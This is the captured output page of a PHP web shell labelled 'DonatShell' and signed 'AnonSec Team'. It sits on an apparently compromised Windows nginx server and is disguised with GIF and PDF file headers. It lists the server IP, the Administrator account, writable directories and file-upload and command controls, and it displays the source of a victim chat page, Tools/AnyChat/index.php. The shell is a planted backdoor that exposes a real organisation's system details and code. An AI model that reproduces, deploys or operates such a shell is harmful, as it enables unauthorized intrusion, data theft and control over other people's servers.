GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/Tools/AnyChat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/Tools/AnyChat/index.php
<?
// Tools/AnyChat/index.php
$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";

ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$skipAuthentication = true;
include('application.phpinc');
$headTitle = '_CST_ - Any Chat'.'';
$pageTitle = '_CST_<br>Any Chat'.'';
$css .= ',Tools/AnyChat/AnyChat.css';
$js .= ',updateHTMLelement.js,Tools/AnyChat/AnyChat.js';
include('common/pageHeader.phpinc');

?>
<form name="form_name" action="<?=php_self()?>" method="post">
<input type="hidden" name="form" value="form_name">
<input type="hidden" name="uuid" value="<?=uuid()?>">

<div class="center p">
Name: <input type="text" id="inpName" value="" onInput="checkName();"><span id="spnNameEmpty" class="hidden">&larr; You must enter a name to chat.</span><span id="spnNameError" class="hidden">&larr; The name must be < 25 characters.</span>
<input type="button" value="Clear chat" onClick="clearChat();">
</div>

<table class="centered p"><tr><td style="max-width:50%;">
<div id="divAnyChat" class="left"></div>
</td></tr></table>

<div class="center p">
<textarea name="ChatText" id="txaChatText" onKeyDown="if ( event.keyCode == 13 ) document.getElementById('btnSend').click();"></textarea> <input type="button" value="Send" id="btnSend" onClick="sendChat();">
</div>

</form>
<div id="divChatGet" class="hidden"></div>
<div id="divChatBack" class="hidden"></div>

<?
// Get last anychatId.
$query = "
    SELECT max(anychatId) as anychatIdMax
      FROM `anychat`
";
d_Var('anychatInfo',$query,'q');
$anychatInfo = query_info($query);
d_Var('$anychatInfo',$anychatInfo,'');
if ( $anychatInfo ) {
	$_SESSION['anychatId'] = $anychatInfo['anychatIdMax'];
} else {
	$_SESSION['anychatId'] = 0;
}
$updateAutoOnURL = '/Tools/AnyChat/AnyChat.php?task=Get';
$TimerDelay = 2000; // 1 seconds.
#$TimerDelay = 5000; // 5 seconds.
#$TimerDelay = 10000; // 10 seconds.
#$TimerDelay = 30000; // 30 seconds.
#$TimerDelay = 3600000; // 60 minutes.
updateAutoOnCall($updateAutoOnURL,'divChatGet',$TimerDelay, '','getChat');

// updateAutoOnCall($URL, $divId, $msInverval, $loadingText, $callback)
// Output div with a javascript updateAutoOn call (performs xmlhttp request).
//         $URL = Page to call (may have query string).
//       $divId = div id value. If set a div with this id is created.
//  $msInverval = Time interval between page calls in milliseconds. Default is 10 seconds.
// $loadingText = Text to display while loading.
//    $callback = javasctipt callback function (javascript function to call when the xmlhttp request loads).
function updateAutoOnCall($URL=false, $divId='', $msInverval=10000, $loadingText='', $callback='') {
	if ( $URL == false ) programmingError('$URL missing in updateAutoOnCall() call.');
	if ( stripos($URL,'http:') === false && stripos($URL,'https:') === false ) { if ( substr($URL,0,1) != '/' ) { $URL = '/'.$URL; } $URL = $_SESSION['HTTP_ROOT'].$URL; } // Prepend $_SESSION['ROOT']['http'] and / if needed.
	if ( $callback ) {
		$callback = ",'".$callback."()'";
	}
if ( $divId ) { ?><div id="<?=$divId?>"><? } ?><script type="text/javascript">updateAutoOn('<?=$URL?>','<?=$divId?>','<?=$msInverval?>','<?=$loadingText?>'<?=$callback?>)</script><? if ( $divId ) { ?></div><? } ?>
<?
	return;
}


include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team